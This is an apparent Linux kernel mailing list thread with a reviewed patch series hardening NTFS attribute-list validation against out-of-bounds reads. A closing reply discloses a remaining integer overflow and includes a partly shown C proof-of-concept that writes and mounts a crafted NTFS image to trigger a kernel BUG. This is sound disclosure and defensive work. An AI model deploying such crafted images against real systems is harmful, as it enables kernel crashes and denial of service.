mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
* [PATCH v4 1/3] ntfs: validate resident attribute lists and harden the validator
@ 2026-06-08  1:51 Bryam Vargas
  2026-06-08  1:51 ` [PATCH v4 2/3] ntfs: bound the look-ahead attribute-list entry in ntfs_external_attr_find() Bryam Vargas
                   ` (2 more replies)
  0 siblings, 3 replies; 7+ messages in thread
From: Bryam Vargas @ 2026-06-08  1:51 UTC (permalink / raw)
  To: Namjae Jeon, Hyunchul Lee; +Cc: linux-fsdevel, linux-kernel

A base inode's $ATTRIBUTE_LIST is sanity-checked by load_attribute_list()
only on the non-resident path; ntfs_read_locked_inode() copies a *resident*
attribute list into ni->attr_list with a plain memcpy() and no validation
at all. Every subsequent walk of ni->attr_list --
ntfs_external_attr_find(), ntfs_inode_attach_all_extents() and
ntfs_attrlist_need() -- then trusts the entries are well-formed and reads
attr_list_entry fixed-header fields
(lowest_vcn at offset 8, mft_reference at offset 16, and the name) with
bounds that assume validation already happened. A crafted resident
attribute list therefore reaches those walks unvalidated and can drive
out-of-bounds reads of the attribute-list buffer.

load_attribute_list() itself reads ale->name_offset (offset 7),
ale->mft_reference (offset 16) and the name length under only an
"al < al_start + size" bound, so its own validation loop can over-read the
fixed header of a truncated trailing entry by a few bytes.

Factor the per-entry validation into ntfs_attr_list_entry_is_valid(),
which requires each entry's fixed header (offsetof(struct
attr_list_entry, name)) to be in range before any field is dereferenced,
that ale->length is a multiple of 8 covering the fixed header plus the
name, and that the entry is in use and carries a live MFT reference.
ntfs_attr_list_is_valid() walks the buffer with it and checks the entries
tile it exactly. Use the list validator in load_attribute_list()
(replacing the open-coded loop, closing its own over-read) and on the
resident path in ntfs_read_locked_inode() (which previously skipped
validation entirely); patches 2/3 reuse the per-entry helper at the other
two attribute-list walks.

Fixes: 1e9ea7e04472 ("Revert "fs: Remove NTFS classic"")
Signed-off-by: Bryam Vargas <hexlabsecurity@proton.me>
Reviewed-by: Hyunchul Lee <hyc.lee@gmail.com>
---
v4: rebased onto the "ntfs: validate attribute values on lookup" series
    (0001-0004) now applied to ntfs-next; this patch is unchanged on top
    of it. Added the Fixes: tag (the fs/ntfs revival commit) requested by
    Hyunchul on 2/3 and 3/3. Compile-tested on ntfs-next (fs/ntfs builds
    clean).
v3 (Hyunchul Lee review): split the per-entry check into
    ntfs_attr_list_entry_is_valid() and call it from the whole series;
    require ale->length to be a multiple of 8.
v2: dropped the redundant Reported-by; reproducer omitted on the public
    list (available to the maintainers on request).

The out-of-bounds reads were confirmed under KASAN on the earlier revision
(crafted NTFS image, fs/ntfs built as a module): the crafted attribute list
that oopsed ntfs_external_attr_find() is now rejected at load with
"ntfs_read_locked_inode(): Corrupt attribute list." and a benign mkntfs
image still mounts. The validator is arch-independent -- struct
attr_list_entry is __packed, so sizeof() == offsetof(.., name) == 26 and
every field offset (length 4, lowest_vcn 8, mft_reference 16) is identical
built -m32 and -m64.

 fs/ntfs/attrib.c | 78 ++++++++++++++++++++++++++++++++++++++----------
 fs/ntfs/attrib.h |  4 +++
 fs/ntfs/inode.c  |  6 ++++
 3 files changed, 73 insertions(+), 15 deletions(-)

diff --git a/fs/ntfs/attrib.c b/fs/ntfs/attrib.c
index 5e1ad1cd0118..2d675bf99ca7 100644
--- a/fs/ntfs/attrib.c
+++ b/fs/ntfs/attrib.c
@@ -921,11 +921,71 @@ char *ntfs_attr_name_get(const struct ntfs_volume *vol, const __le16 *uname,
 	return NULL;
 }

+/*
+ * ntfs_attr_list_entry_is_valid - sanity check one $ATTRIBUTE_LIST entry
+ * @ale:	the attribute-list entry to check
+ * @al_end:	end of the attribute-list buffer @ale lives in
+ *
+ * Verify that @ale is a well-formed attr_list_entry wholly contained in
+ * [.., @al_end): its fixed header must lie in range before any field is
+ * dereferenced, its length must be a multiple of 8 that covers the fixed
+ * header plus the name, the name must lie within the buffer, the entry must
+ * be in use and carry a live MFT reference.  Return true if valid.
+ */
+bool ntfs_attr_list_entry_is_valid(const struct attr_list_entry *ale,
+				   const u8 *al_end)
+{
+	const u8 *al = (const u8 *)ale;
+	u16 ale_len;
+
+	/* The fixed header must be in bounds before it is parsed. */
+	if (al + offsetof(struct attr_list_entry, name) > al_end)
+		return false;
+	ale_len = le16_to_cpu(ale->length);
+	/* On-disk entries are 8-byte aligned (see struct attr_list_entry). */
+	if (ale_len & 7)
+		return false;
+	if (ale->name_offset != sizeof(struct attr_list_entry))
+		return false;
+	if ((u32)ale->name_offset +
+	    (u32)ale->name_length * sizeof(__le16) > ale_len ||
+	    al + ale_len > al_end)
+		return false;
+	if (ale->type == AT_UNUSED)
+		return false;
+	if (MSEQNO_LE(ale->mft_reference) == 0)
+		return false;
+	return true;
+}
+
+/*
+ * ntfs_attr_list_is_valid - sanity check an in-memory $ATTRIBUTE_LIST
+ * @al_start:	start of the attribute list buffer
+ * @size:	length of the attribute list in bytes
+ *
+ * Verify that [@al_start, @al_start + @size) is a sequence of valid
+ * attr_list_entry records (see ntfs_attr_list_entry_is_valid()) that tile the
+ * buffer exactly.  Return true if valid, false otherwise.
+ */
+bool ntfs_attr_list_is_valid(const u8 *al_start, s64 size)
+{
+	const u8 *al = al_start;
+	const u8 *al_end = al_start + size;
+
+	while (al < al_end) {
+		const struct attr_list_entry *ale =
+				(const struct attr_list_entry *)al;
+
+		if (!ntfs_attr_list_entry_is_valid(ale, al_end))
+			return false;
+		al += le16_to_cpu(ale->length);
+	}
+	return al == al_end;
+}
+
 int load_attribute_list(struct ntfs_inode *base_ni, u8 *al_start, const s64 size)
 {
 	struct inode *attr_vi = NULL;
-	u8 *al;
-	struct attr_list_entry *ale;

 	if (!al_start || size <= 0)
 		return -EINVAL;
@@ -947,19 +1007,7 @@ int load_attribute_list(struct ntfs_inode *base_ni, u8 *al_start, const s64 size
 	}
 	iput(attr_vi);

-	for (al = al_start; al < al_start + size; al += le16_to_cpu(ale->length)) {
-		ale = (struct attr_list_entry *)al;
-		if (ale->name_offset != sizeof(struct attr_list_entry))
-			break;
-		if (le16_to_cpu(ale->length) <= ale->name_offset + ale->name_length ||
-		    al + le16_to_cpu(ale->length) > al_start + size)
-			break;
-		if (ale->type == AT_UNUSED)
-			break;
-		if (MSEQNO_LE(ale->mft_reference) == 0)
-			break;
-	}
-	if (al != al_start + size) {
+	if (!ntfs_attr_list_is_valid(al_start, size)) {
 		ntfs_error(base_ni->vol->sb, "Corrupt attribute list, mft = %llu",
 			   base_ni->mft_no);
 		return -EIO;
diff --git a/fs/ntfs/attrib.h b/fs/ntfs/attrib.h
index f7acc7986b09..e2224fbfaabe 100644
--- a/fs/ntfs/attrib.h
+++ b/fs/ntfs/attrib.h
@@ -71,6 +71,10 @@ int ntfs_attr_lookup(const __le32 type, const __le16 *name,
 		const u32 name_len, const u32 ic,
 		const s64 lowest_vcn, const u8 *val, const u32 val_len,
 		struct ntfs_attr_search_ctx *ctx);
+bool ntfs_attr_list_entry_is_valid(const struct attr_list_entry *ale,
+				   const u8 *al_end);
+bool ntfs_attr_list_is_valid(const u8 *al_start, s64 size);
+
 int load_attribute_list(struct ntfs_inode *base_ni,
 			       u8 *al_start, const s64 size);

diff --git a/fs/ntfs/inode.c b/fs/ntfs/inode.c
index 9717fb5b4709..8a7798d7f5fc 100644
--- a/fs/ntfs/inode.c
+++ b/fs/ntfs/inode.c
@@ -848,6 +848,12 @@ static int ntfs_read_locked_inode(struct inode *vi)
 					a->data.resident.value_offset),
 					le32_to_cpu(
 					a->data.resident.value_length));
+			/* A resident list is not validated on load; check it now. */
+			if (!ntfs_attr_list_is_valid(ni->attr_list,
+						     ni->attr_list_size)) {
+				ntfs_error(vi->i_sb, "Corrupt attribute list.");
+				goto unm_err_out;
+			}
 		}
 	}
 skip_attr_list_load:
--
2.43.0


^ permalink raw reply	[flat|nested] 7+ messages in thread

* [PATCH v4 2/3] ntfs: bound the look-ahead attribute-list entry in ntfs_external_attr_find()
  2026-06-08  1:51 [PATCH v4 1/3] ntfs: validate resident attribute lists and harden the validator Bryam Vargas
@ 2026-06-08  1:51 ` Bryam Vargas
  2026-06-08  1:51 ` [PATCH v4 3/3] ntfs: bound the attribute-list entry in ntfs_read_inode_mount() Bryam Vargas
  2026-06-08 14:06 ` [PATCH v4 1/3] ntfs: validate resident attribute lists and harden the validator Namjae Jeon
  2 siblings, 0 replies; 7+ messages in thread
From: Bryam Vargas @ 2026-06-08  1:51 UTC (permalink / raw)
  To: Namjae Jeon, Hyunchul Lee; +Cc: linux-fsdevel, linux-kernel

When resolving an attribute lookup with a non-zero @lowest_vcn,
ntfs_external_attr_find() peeks at the next $ATTRIBUTE_LIST entry to
decide whether to keep searching, but bounds that not-yet-validated
entry only with "(u8 *)next_al_entry + 6 < al_end" (which proves just
bytes 0..6 are in range) and "(u8 *)next_al_entry + length <= al_end"
with an attacker-controlled, non-8-aligned length. It then reads
next_al_entry->lowest_vcn (an __le64 at offset 8) and the name at
next_al_entry->name_offset, both of which can lie past al_end -- the
exact end of the kvmalloc'd attribute-list buffer (allocated at the
on-disk attr_list_size, no rounding). A crafted on-disk $ATTRIBUTE_LIST
whose last entry sits a few bytes before al_end therefore yields a slab
out-of-bounds read when the inode is read.

Validate the look-ahead entry with ntfs_attr_list_entry_is_valid() (added
in patch 1/3) before dereferencing lowest_vcn and the name, so the same
fixed-header, length and name bounds the main attribute-list walk uses now
guard this read too.

Fixes: 1e9ea7e04472 ("Revert "fs: Remove NTFS classic"")
Signed-off-by: Bryam Vargas <hexlabsecurity@proton.me>
Reviewed-by: Hyunchul Lee <hyc.lee@gmail.com>
---
v4: rebased onto the "ntfs: validate attribute values on lookup" series
    (0001-0004) now applied to ntfs-next. That series reworked
    ntfs_external_attr_find(), but its changes (resident @val matching and
    the attrlist duplicate check) do not touch this look-ahead block, so
    this patch is unchanged on top of it. Added the Fixes: tag requested
    by Hyunchul. Compile-tested on ntfs-next.
v3 (Hyunchul Lee review): use the extracted ntfs_attr_list_entry_is_valid()
    helper instead of an open-coded bound, so the look-ahead gets the same
    fixed-header, 8-byte-aligned-length and name checks as the main walk.
v2: dropped the redundant Reported-by; reproducer/KASAN splat omitted on
    the public list (available to the maintainers on request).

Confirmed under KASAN on the earlier revision: a slab out-of-bounds read of
next_al_entry->lowest_vcn during inode read of a crafted image; a benign
mkntfs image is KASAN-clean (control). Arch-independent (lowest_vcn at
offset 8, fixed header offsetof(.., name) == 26; identical geometry built
-m32/-m64).

 fs/ntfs/attrib.c | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/fs/ntfs/attrib.c b/fs/ntfs/attrib.c
index 2d675bf99ca7..1e0076ef81ef 100644
--- a/fs/ntfs/attrib.c
+++ b/fs/ntfs/attrib.c
@@ -1263,9 +1263,8 @@ static int ntfs_external_attr_find(const __le32 type,
 		 * we have reached the right one or the search has failed.
 		 */
 		if (lowest_vcn && (u8 *)next_al_entry >= al_start &&
-				(u8 *)next_al_entry + 6 < al_end &&
-				(u8 *)next_al_entry + le16_to_cpu(
-					next_al_entry->length) <= al_end &&
+				ntfs_attr_list_entry_is_valid(next_al_entry,
+							      al_end) &&
 				le64_to_cpu(next_al_entry->lowest_vcn) <=
 					lowest_vcn &&
 				next_al_entry->type == al_entry->type &&
--
2.43.0


^ permalink raw reply	[flat|nested] 7+ messages in thread

* [PATCH v4 3/3] ntfs: bound the attribute-list entry in ntfs_read_inode_mount()
  2026-06-08  1:51 [PATCH v4 1/3] ntfs: validate resident attribute lists and harden the validator Bryam Vargas
  2026-06-08  1:51 ` [PATCH v4 2/3] ntfs: bound the look-ahead attribute-list entry in ntfs_external_attr_find() Bryam Vargas
@ 2026-06-08  1:51 ` Bryam Vargas
  2026-06-08  2:01   ` Hyunchul Lee
  2026-06-08 14:06 ` [PATCH v4 1/3] ntfs: validate resident attribute lists and harden the validator Namjae Jeon
  2 siblings, 1 reply; 7+ messages in thread
From: Bryam Vargas @ 2026-06-08  1:51 UTC (permalink / raw)
  To: Namjae Jeon, Hyunchul Lee; +Cc: linux-fsdevel, linux-kernel

The $MFT attribute-list walk in ntfs_read_inode_mount() validates each
entry only with "(u8 *)al_entry + 6 > al_end" and
"(u8 *)al_entry + le16_to_cpu(al_entry->length) > al_end", but then reads
al_entry->lowest_vcn (an __le64 at offset 8) and al_entry->mft_reference
(offset 16) -- fields beyond the 6 bytes proven in range. al_entry->length
is attacker-controlled and only required non-zero, so a short entry (e.g.
length 8) placed at the tail passes both checks while the lowest_vcn /
mft_reference reads fall past al_end.

al_end is ni->attr_list + attr_list_size (the on-disk size); the buffer is
kvzalloc(round_up(attr_list_size, SECTOR_SIZE)), so the sector rounding
usually absorbs the over-read -- but when attr_list_size is a multiple of
SECTOR_SIZE there is no slack and a crafted $MFT attribute list produces an
out-of-bounds read at mount time.

Validate the entry with ntfs_attr_list_entry_is_valid() (added in patch
1/3) before dereferencing it, matching the bound the other attribute-list
walks now use. The validator already requires the length to cover the fixed
header, which makes the separate "!al_entry->length" check redundant, so
drop it too.

Fixes: 1e9ea7e04472 ("Revert "fs: Remove NTFS classic"")
Signed-off-by: Bryam Vargas <hexlabsecurity@proton.me>
---
v4: also drop the now-redundant "if (!al_entry->length)" check, per
    Hyunchul's review -- ntfs_attr_list_entry_is_valid() forces
    name_offset == sizeof(struct attr_list_entry) and requires
    name_offset + name_length * sizeof(__le16) <= length, so length == 0 is
    already rejected there (and length is a multiple of 8, so a valid entry
    is at least 32 bytes and next_al_entry still advances -- no
    zero-length loop). Rebased onto the "ntfs: validate attribute values on
    lookup" series (0001-0004) now applied to ntfs-next; added the Fixes:
    tag. Compile-tested on ntfs-next.
v3 (Hyunchul Lee review): validate with the extracted
    ntfs_attr_list_entry_is_valid() helper rather than an open-coded bound,
    matching the other attribute-list walks.
v2: dropped the redundant Reported-by; reproducer omitted on the public
    list (available to the maintainers on request).

Sibling of the ntfs_external_attr_find() look-ahead OOB (2/3): the same
struct attr_list_entry fixed fields (lowest_vcn at 8, mft_reference at 16)
are read here with a weaker bound. Geometry is arch-independent (identical
-m32/-m64).

 fs/ntfs/inode.c | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/fs/ntfs/inode.c b/fs/ntfs/inode.c
index 8a7798d7f5fc..2f2634baa285 100644
--- a/fs/ntfs/inode.c
+++ b/fs/ntfs/inode.c
@@ -1997,10 +1997,7 @@ int ntfs_read_inode_mount(struct inode *vi)
 			/* Catch the end of the attribute list. */
 			if ((u8 *)al_entry == al_end)
 				goto em_put_err_out;
-			if (!al_entry->length)
-				goto em_put_err_out;
-			if ((u8 *)al_entry + 6 > al_end ||
-			    (u8 *)al_entry + le16_to_cpu(al_entry->length) > al_end)
+			if (!ntfs_attr_list_entry_is_valid(al_entry, al_end))
 				goto em_put_err_out;
 			next_al_entry = (struct attr_list_entry *)((u8 *)al_entry +
 					le16_to_cpu(al_entry->length));
--
2.43.0


^ permalink raw reply	[flat|nested] 7+ messages in thread

* Re: [PATCH v4 3/3] ntfs: bound the attribute-list entry in ntfs_read_inode_mount()
  2026-06-08  1:51 ` [PATCH v4 3/3] ntfs: bound the attribute-list entry in ntfs_read_inode_mount() Bryam Vargas
@ 2026-06-08  2:01   ` Hyunchul Lee
  2026-06-11 16:07     ` XIAO WU
  0 siblings, 1 reply; 7+ messages in thread
From: Hyunchul Lee @ 2026-06-08  2:01 UTC (permalink / raw)
  To: Bryam Vargas; +Cc: Namjae Jeon, linux-fsdevel, linux-kernel

2026년 6월 8일 (월) 오전 10:51, Bryam Vargas <hexlabsecurity@proton.me>님이 작성:
>
> The $MFT attribute-list walk in ntfs_read_inode_mount() validates each
> entry only with "(u8 *)al_entry + 6 > al_end" and
> "(u8 *)al_entry + le16_to_cpu(al_entry->length) > al_end", but then reads
> al_entry->lowest_vcn (an __le64 at offset 8) and al_entry->mft_reference
> (offset 16) -- fields beyond the 6 bytes proven in range. al_entry->length
> is attacker-controlled and only required non-zero, so a short entry (e.g.
> length 8) placed at the tail passes both checks while the lowest_vcn /
> mft_reference reads fall past al_end.
>
> al_end is ni->attr_list + attr_list_size (the on-disk size); the buffer is
> kvzalloc(round_up(attr_list_size, SECTOR_SIZE)), so the sector rounding
> usually absorbs the over-read -- but when attr_list_size is a multiple of
> SECTOR_SIZE there is no slack and a crafted $MFT attribute list produces an
> out-of-bounds read at mount time.
>
> Validate the entry with ntfs_attr_list_entry_is_valid() (added in patch
> 1/3) before dereferencing it, matching the bound the other attribute-list
> walks now use. The validator already requires the length to cover the fixed
> header, which makes the separate "!al_entry->length" check redundant, so
> drop it too.
>
> Fixes: 1e9ea7e04472 ("Revert "fs: Remove NTFS classic"")
> Signed-off-by: Bryam Vargas <hexlabsecurity@proton.me>

Looks good to me.

Reviewed-by: Hyunchul Lee <hyc.lee@gmail.com>

> ---
> v4: also drop the now-redundant "if (!al_entry->length)" check, per
>     Hyunchul's review -- ntfs_attr_list_entry_is_valid() forces
>     name_offset == sizeof(struct attr_list_entry) and requires
>     name_offset + name_length * sizeof(__le16) <= length, so length == 0 is
>     already rejected there (and length is a multiple of 8, so a valid entry
>     is at least 32 bytes and next_al_entry still advances -- no
>     zero-length loop). Rebased onto the "ntfs: validate attribute values on
>     lookup" series (0001-0004) now applied to ntfs-next; added the Fixes:
>     tag. Compile-tested on ntfs-next.
> v3 (Hyunchul Lee review): validate with the extracted
>     ntfs_attr_list_entry_is_valid() helper rather than an open-coded bound,
>     matching the other attribute-list walks.
> v2: dropped the redundant Reported-by; reproducer omitted on the public
>     list (available to the maintainers on request).
>
> Sibling of the ntfs_external_attr_find() look-ahead OOB (2/3): the same
> struct attr_list_entry fixed fields (lowest_vcn at 8, mft_reference at 16)
> are read here with a weaker bound. Geometry is arch-independent (identical
> -m32/-m64).
>
>  fs/ntfs/inode.c | 5 +----
>  1 file changed, 1 insertion(+), 4 deletions(-)
>
> diff --git a/fs/ntfs/inode.c b/fs/ntfs/inode.c
> index 8a7798d7f5fc..2f2634baa285 100644
> --- a/fs/ntfs/inode.c
> +++ b/fs/ntfs/inode.c
> @@ -1997,10 +1997,7 @@ int ntfs_read_inode_mount(struct inode *vi)
>                         /* Catch the end of the attribute list. */
>                         if ((u8 *)al_entry == al_end)
>                                 goto em_put_err_out;
> -                       if (!al_entry->length)
> -                               goto em_put_err_out;
> -                       if ((u8 *)al_entry + 6 > al_end ||
> -                           (u8 *)al_entry + le16_to_cpu(al_entry->length) > al_end)
> +                       if (!ntfs_attr_list_entry_is_valid(al_entry, al_end))
>                                 goto em_put_err_out;
>                         next_al_entry = (struct attr_list_entry *)((u8 *)al_entry +
>                                         le16_to_cpu(al_entry->length));
> --
> 2.43.0
>


-- 
Thanks,
Hyunchul

^ permalink raw reply	[flat|nested] 7+ messages in thread

* Re: [PATCH v4 1/3] ntfs: validate resident attribute lists and harden the validator
  2026-06-08  1:51 [PATCH v4 1/3] ntfs: validate resident attribute lists and harden the validator Bryam Vargas
  2026-06-08  1:51 ` [PATCH v4 2/3] ntfs: bound the look-ahead attribute-list entry in ntfs_external_attr_find() Bryam Vargas
  2026-06-08  1:51 ` [PATCH v4 3/3] ntfs: bound the attribute-list entry in ntfs_read_inode_mount() Bryam Vargas
@ 2026-06-08 14:06 ` Namjae Jeon
  2 siblings, 0 replies; 7+ messages in thread
From: Namjae Jeon @ 2026-06-08 14:06 UTC (permalink / raw)
  To: Bryam Vargas; +Cc: Hyunchul Lee, linux-fsdevel, linux-kernel

On Mon, Jun 8, 2026 at 10:51 AM Bryam Vargas <hexlabsecurity@proton.me> wrote:
>
> A base inode's $ATTRIBUTE_LIST is sanity-checked by load_attribute_list()
> only on the non-resident path; ntfs_read_locked_inode() copies a *resident*
> attribute list into ni->attr_list with a plain memcpy() and no validation
> at all. Every subsequent walk of ni->attr_list --
> ntfs_external_attr_find(), ntfs_inode_attach_all_extents() and
> ntfs_attrlist_need() -- then trusts the entries are well-formed and reads
> attr_list_entry fixed-header fields
> (lowest_vcn at offset 8, mft_reference at offset 16, and the name) with
> bounds that assume validation already happened. A crafted resident
> attribute list therefore reaches those walks unvalidated and can drive
> out-of-bounds reads of the attribute-list buffer.
>
> load_attribute_list() itself reads ale->name_offset (offset 7),
> ale->mft_reference (offset 16) and the name length under only an
> "al < al_start + size" bound, so its own validation loop can over-read the
> fixed header of a truncated trailing entry by a few bytes.
>
> Factor the per-entry validation into ntfs_attr_list_entry_is_valid(),
> which requires each entry's fixed header (offsetof(struct
> attr_list_entry, name)) to be in range before any field is dereferenced,
> that ale->length is a multiple of 8 covering the fixed header plus the
> name, and that the entry is in use and carries a live MFT reference.
> ntfs_attr_list_is_valid() walks the buffer with it and checks the entries
> tile it exactly. Use the list validator in load_attribute_list()
> (replacing the open-coded loop, closing its own over-read) and on the
> resident path in ntfs_read_locked_inode() (which previously skipped
> validation entirely); patches 2/3 reuse the per-entry helper at the other
> two attribute-list walks.
>
> Fixes: 1e9ea7e04472 ("Revert "fs: Remove NTFS classic"")
> Signed-off-by: Bryam Vargas <hexlabsecurity@proton.me>
> Reviewed-by: Hyunchul Lee <hyc.lee@gmail.com>
Applied 3 patches to #ntfs-next.
Thanks!

^ permalink raw reply	[flat|nested] 7+ messages in thread

* Re: [PATCH v4 3/3] ntfs: bound the attribute-list entry in ntfs_read_inode_mount()
  2026-06-08  2:01   ` Hyunchul Lee
@ 2026-06-11 16:07     ` XIAO WU
  2026-06-11 22:02       ` Namjae Jeon
  0 siblings, 1 reply; 7+ messages in thread
From: XIAO WU @ 2026-06-11 16:07 UTC (permalink / raw)
  To: Hyunchul Lee, Bryam Vargas; +Cc: Namjae Jeon, linux-fsdevel, linux-kernel

Hi Bryam,

Sashiko [1] reviewed this patch (3/3, "ntfs: bound the attribute-list
entry in ntfs_read_inode_mount()") and found a pre-existing integer
overflow in the same function that remains unfixed.  A PoC confirms:
mounting a crafted NTFS image with an oversized $ATTRIBUTE_LIST
triggers a kernel BUG.

[1] 
https://sashiko.dev/#/patchset/20260607203000.700100-1-hexlabsecurity%40proton.me

 > diff --git a/fs/ntfs/inode.c b/fs/ntfs/inode.c
 > index a5f7400fd19dc..c4fa6aa11c9e8 100644
 > --- a/fs/ntfs/inode.c
 > +++ b/fs/ntfs/inode.c
 > @@ -2000,10 +2000,7 @@ int ntfs_read_inode_mount(struct inode *vi)

This is the function being hardened.  Just a few lines above the
attribute-list walk, the allocation for ni->attr_list has an integer
overflow:

     ni->attr_list_size = (u32)ntfs_attr_size(a);
     ...
     ni->attr_list = kvzalloc(round_up(ni->attr_list_size, SECTOR_SIZE),
                  GFP_NOFS);
     if (!ni->attr_list) {
         ...
     }

`ntfs_attr_size(a)` returns a 64-bit signed value.  When truncated to
`u32` and stored in `ni->attr_list_size`, a crafted value like
`0x1FFFFFE01` becomes `0xFFFFFE01`.  `round_up(0xFFFFFE01, 512)` in u32
arithmetic then wraps to 0:

     round_up(x, 512) = (((x) - 1) | 0x1FF) + 1
                      = (0xFFFFFE00 | 0x1FF) + 1
                      = 0xFFFFFFFF + 1
                      = 0  (mod 2^32)

`kvzalloc(0)` returns `ZERO_SIZE_PTR` (0x10), which is *non-NULL*.
The `!ni->attr_list` error check passes, and
`load_attribute_list_mount()` subsequently reads block-device data
into address 0x10, hitting:

     kernel BUG at arch/x86/mm/physaddr.c:28!   -- __phys_addr()

 >              /* Catch the end of the attribute list. */
 >              if ((u8 *)al_entry == al_end)
 >                  goto em_put_err_out;
 > -            if (!al_entry->length)
 > -                goto em_put_err_out;
 > -            if ((u8 *)al_entry + 6 > al_end ||
 > -                (u8 *)al_entry + le16_to_cpu(al_entry->length) > al_end)
 > +            if (!ntfs_attr_list_entry_is_valid(al_entry, al_end))
 >                  goto em_put_err_out;

The new ntfs_attr_list_entry_is_valid() function improves per-entry
validation in the walk, but the walk never executes if the allocation
crashes first — the oversized data_size triggers the overflow on the
very first kvzalloc before any entry is validated.

## Reproducer

The PoC constructs a minimal NTFS image with an $ATTRIBUTE_LIST attribute
whose data_size is set to 0x1FFFFFE01.  Mounting it triggers the overflow →
ZERO_SIZE_PTR → BUG path.

Build:  gcc -static -o poc poc.c
Run:    ./poc   (as root, uses losetup + mount)

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <errno.h>

#define SZ_SEC  512
#define SZ_CL   4096
#define IMG_SZ  (64ULL * 1024 * 1024)

static uint8_t *img;

static void w16(uint8_t *p, uint16_t v) { p[0] = v & 0xFF; p[1] = (v >> 
8) & 0xFF; }
static void w32(uint8_t *p, uint32_t v) { p[0] = v & 0xFF; p[1] = (v >> 
8) & 0xFF; p[2] = (v >> 16) & 0xFF; p[3] = (v >> 24) & 0xFF; }
static void w64(uint8_t *p, uint64_t v) { for (int i = 0; i < 8; i++) 
p[i] = (v >> (i * 8)) & 0xFF; }

int main(void)
{
     const char *path = "/tmp/ntfs_poc.img";
     const char *mnt = "/mnt/ntfs_poc";
     int fd, ret;
     int mft_lcn = 16, mirr_lcn = 8, data_lcn = 2;
     int rec_sz = 1024;
     int mft_ofs, a_off;

     img = calloc(1, IMG_SZ);
     if (!img) return 1;

     /* Boot sector */
     uint8_t *p = img;
     p[0] = 0xEB; p[1] = 0x52; p[2] = 0x90; memcpy(p + 3, "NTFS    ", 8);
     w16(p + 11, 512); p[13] = 8; w16(p + 14, 0); p[16] = 0;
     w16(p + 17, 0); w16(p + 19, 0); p[21] = 0xF8; w16(p + 22, 0);
     w16(p + 24, 63); w16(p + 26, 255); w32(p + 28, 0); w32(p + 32, 0);
     w64(p + 40, IMG_SZ / 512); w64(p + 48, mft_lcn); w64(p + 56, mirr_lcn);
     p[64] = -10; p[68] = -10;
     w64(p + 72, 0x123456789ABCDEF0ULL); w32(p + 80, 0);
     w16(p + 510, 0xAA55);

     /* MFT Mirror: copy boot sector */
     memcpy(img + mirr_lcn * (uint64_t)SZ_CL, img, SZ_SEC);
     /* Data cluster: fill with 0xAB */
     memset(img + data_lcn * (uint64_t)SZ_CL, 0xAB, SZ_CL);

     /* --- MFT RECORD 0 --- */
     mft_ofs = mft_lcn * SZ_CL; p = img + mft_ofs;
     w32(p + 0, 0x454c4946);      /* "FILE" magic */
     w16(p + 4, 48);              /* update sequence offset */
     w16(p + 6, 3);               /* update sequence length */
     w16(p + 16, 1);              /* hard links */
     w16(p + 18, 1);              /* attribute offset (we set real value 
later) */
     w16(p + 20, 56);             /* flags: IN_USE */
     w16(p + 22, 1);              /* data run offset */
     w32(p + 28, rec_sz);
     w64(p + 32, 0xFFFFFFFFFFFFFFFFULL);
     w16(p + 40, 0); w16(p + 42, 0); w32(p + 44, 0);
     w16(p + 48, 1);              /* usa count */

     a_off = 56;

     /* Attribute [1]: $ATTRIBUTE_LIST (0x20), non-resident, oversized 
data_size */
     {
         uint8_t *a = p + a_off;
         int len = 80;
         int mp_off = 16 + 56;

         w32(a + 0, 0x20); w32(a + 4, len);
         a[8] = 1; a[9] = 0;              /* non-resident */
         w16(a + 10, 0); w16(a + 12, 0); w16(a + 14, 1);
         w64(a + 16, 0); w64(a + 24, 0);
         w16(a + 32, mp_off); a[34] = 0;
         memset(a + 35, 0, 5);
         w64(a + 40, 4096);               /* allocated_size */
         w64(a + 48, 0x1FFFFFE01ULL);     /* data_size → OVERFLOW TRIGGER */
         w64(a + 56, 1);                  /* initialized_size */
         w64(a + 64, 0);

         /* Mapping pairs: 1 cluster at LCN = data_lcn */
         a[mp_off]     = 0x11;
         a[mp_off + 1] = 1;
         a[mp_off + 2] = data_lcn;
         a[mp_off + 3] = 0;
         memset(a + mp_off + 4, 0, len - mp_off - 4);
         a_off += len;
     }

     /* Attribute [2]: $DATA (0x80) */
     {
         uint8_t *a = p + a_off;
         int len = 80;
         int mp_off = 72;

         w32(a + 0, 0x80); w32(a + 4, len);
         a[8] = 1; a[9] = 0;
         w16(a + 10, 0); w16(a + 12, 0); w16(a + 14, 2);
         w64(a + 16, 0); w64(a + 24, 0);
         w16(a + 32, mp_off); a[34] = 0;
         memset(a + 35, 0, 5);
         w64(a + 40, (uint64_t)IMG_SZ);
         w64(a + 48, (uint64_t)IMG_SZ);
         w64(a + 56, (uint64_t)IMG_SZ);
         w64(a + 64, 0);

         a[mp_off]     = 0x11;
         a[mp_off + 1] = 1;
         a[mp_off + 2] = mft_lcn;
         a[mp_off + 3] = 0;
         memset(a + mp_off + 4, 0, len - mp_off - 4);
         a_off += len;
     }

     /* AT_END */
     w32(p + a_off, 0xFFFFFFFF); a_off += 4;
     w32(p + 24, a_off);           /* update real bytes_in_use */

     /* Fix USA */
     w16(p + 50, p[510] | (p[511] << 8)); p[510] = 1 & 0xFF; p[511] = (1 
 >> 8) & 0xFF;
     w16(p + 52, p[1022] | (p[1023] << 8)); p[1022] = 1 & 0xFF; p[1023] 
= (1 >> 8) & 0xFF;

     /* MFT records 1..31: empty */
     for (int i = 1; i < 32; i++) {
         uint8_t *r = img + i * rec_sz;
         memset(r, 0, rec_sz);
         w32(r + 0, 0xFFFFFFFF); w16(r + 4, 48); w16(r + 6, 3);
         w16(r + 16, i); w16(r + 20, 56); w16(r + 22, 0);
         w32(r + 24, 56); w32(r + 28, rec_sz); w64(r + 32, 0);
         w32(r + 44, i); w16(r + 48, 1);
         w16(r + 50, r[510] | (r[511] << 8)); r[510] = 1 & 0xFF; r[511] 
= (1 >> 8) & 0xFF;
         w16(r + 52, r[1022] | (r[1023] << 8)); r[1022] = 1 & 0xFF; 
r[1023] = (1 >> 8) & 0xFF;
     }

     printf("[+] Writing and mounting...\n");
     fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
     if (fd < 0) { perror("open"); return 1; }
